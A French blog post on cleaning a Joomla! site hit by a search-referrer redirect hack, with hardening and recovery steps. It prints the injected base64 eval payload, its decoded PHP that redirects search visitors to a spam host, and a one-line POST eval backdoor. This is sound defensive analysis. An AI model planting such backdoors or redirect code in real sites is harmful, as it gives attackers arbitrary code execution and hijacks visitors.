Hack de redirection organique sous Joomla!

Post: 26 October 2012 by kriss in: Sécurité Print

Si vous avez un site Joomla! et que vos visiteurs se plaignent d'être redirigés vers des sites douteux en essayant de vous joindre, vous devriez commencer par essayer de faire ce qu'ils font : rechercher votre site sur Google. Il y a des chances pour que vous le trouviez, mais que cliquer sur le résultat vous dirige vers un autre site, souvent apparenté à du spam ou du badware.

Une fois que le problème est confirmé, inspectez vos fichiers PHP et vous pourriez remarquer qu'une ligne de code a été injectée dans chacun d'eux, just après le premier <?php.

Cette ligne ressemble à ceci :

Print

  1. eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9scGlzdHcuNHB1LmNvbS8iKTsKZXhpdCgpOw0KfQp9DQp9DQp9DQp9"));

Ce qui se décode en :

Print

  1.  
  2. $qazplm=headers_sent();
  3. if (!$qazplm){
  4. $referer=$_SERVER['HTTP_REFERER'];
  5. $uag=$_SERVER['HTTP_USER_AGENT'];
  6. if ($uag) {
  7. if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
  8. if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
  9. if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
  10. header("Location: http://lpistw.4pu.com/");
  11. exit();
  12. }
  13. }
  14. }
  15. }
  16. }

Comprendre ce code explique pourquoi ce hack est difficile à découvrir : it altère le contenu servi à vos visiteurs seulement dans les conditions suivantes :

  • Le visiteur n'utilise pas Microsoft Internet Explorer ;
  • et le visiteur a suivi un résultat de recherche provenant d'un des principaux moteurs de recherche.

Il est même possible que vous soyez affecté par un tel hack depuis longtemps et que vous ne le découvriez que maintenant, car ne satisfiiez pas ces conditions auparavant, le plus probablement parce que vous visitiez votre propre site en tapant son URL dans votre navigateur (ou suiviez l'un de vos signets).

Vous devez désormais réaliser que pour affecter votre si profondément, le hacker a préalablement réussi à télécharger une porte dérobée sur votre serveur. Celle-ci lui aura permis d'altérer tous vos fichiers PHP. Typiquement, il a deviné votre mot de passe d'administrateur, exploité le compte pour télécharger un script PHP malicieux, puis l'a utilisé pour altérer tous vos fichiers. Vous trouverez probablement des fichiers PHP dans vos dossiers de fichiers publics. Dans deux cas que nous avons observés, il y avait dans le dossier images un fichier de 69 octets nommé post.php et avec le contenu suivant :

Print

  1. <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

Bien que ce genre de fichiers semble trivial, il permet l'exécution de code arbitraire sur votre serveur par n'importe qui, et devrait être supprimé immédiatement. Nous aimerions rappeler tout le monde que vous ne devriez jamais trouver de fichiers PHP dans les dossiers et sous-dossiers images, media, tmp, cache et administrator/cache de sites Joomla!.

Avant d'entreprendre le nettoyage du reste du site, vous devriez prendre des mesures de sécurité pour vous assurez que le hacker ne reviendra pas. La première est de changer tous vos mots de passe, puisque nous avons déjà expliqué qu'il a probablement compromis le compte administrateur. Une mesure plus sécurisée est de créer un autre compte super administrateur avec un nom peu commun, comme pablo1234, et de désactiver le compte administrateur par défaut. Tant que vous y êtes, assurez-vous qu'aucun autre compte administrateur, voire même utilisateur standard, suspect n'ait été créé.

La seconde est d'examiner les fichiers journaux de votre serveur pour peut-être découvrir d'autres portes dérobées à d'autres emplacements. Typiquement, de multiples requêtes POST au moment où l'infection s'est produite est suspecte. Inspectez systématiquement les fichiers impliqués et soyez particulièrement attentif à la combinaison de eval() et de $_POST. Vous pouvez aussi penser à contacter votre hébergeur pour du support : certains d'entre disposent d'outils qui scannent automatiquement votre compte et peuvent vous aider à localiser d'éventuelles menaces dans vos fichiers.

Troisièmement et dernièrement, si vous devez le faire vous-même, nettoyer le hack peut être considéré aussi bien difficile que facile.
Difficile, parce que tous vos fichiers PHP peuvent avoir la ligne de code malicieux injectée, et puisque nous parlons d'un site Joomla!, cela représente beaucoup de fichiers que vous ne voulez pas nettoyer manuellement.
Facile, parce que le hacker a injecté exactement la même ligne de code dans chaque fichier, ce qui signifie que vous pouvez facilement écrire un script pour la localiser dans tous vos fichiers, et tous les nettoyer en une fois.
Si vous disposez d'une sauvegarde récente et sûre de votre site, et qu'il est acceptable pour vous de perdre les dernières données, la restaurer est aussi une bonne idée.

Après cela, vous devriez être débarrassé de ce hack. Il y a une dernière chose à faire si Google a marqué votre site comme hébergeant du contenu offensif : vous devrez soumettre une demande de reconsidération via votre compte Google Webmaster Tools. Cela peut prendre quelques jours, mais ne perdez pas espoir et vous finirez par être réintroduit dans leur index. Et bien sûr, penser à créer une sauvegarde de votre site souvent, et à mettre à jour votre site Joomla! et ses extensions régulièrement.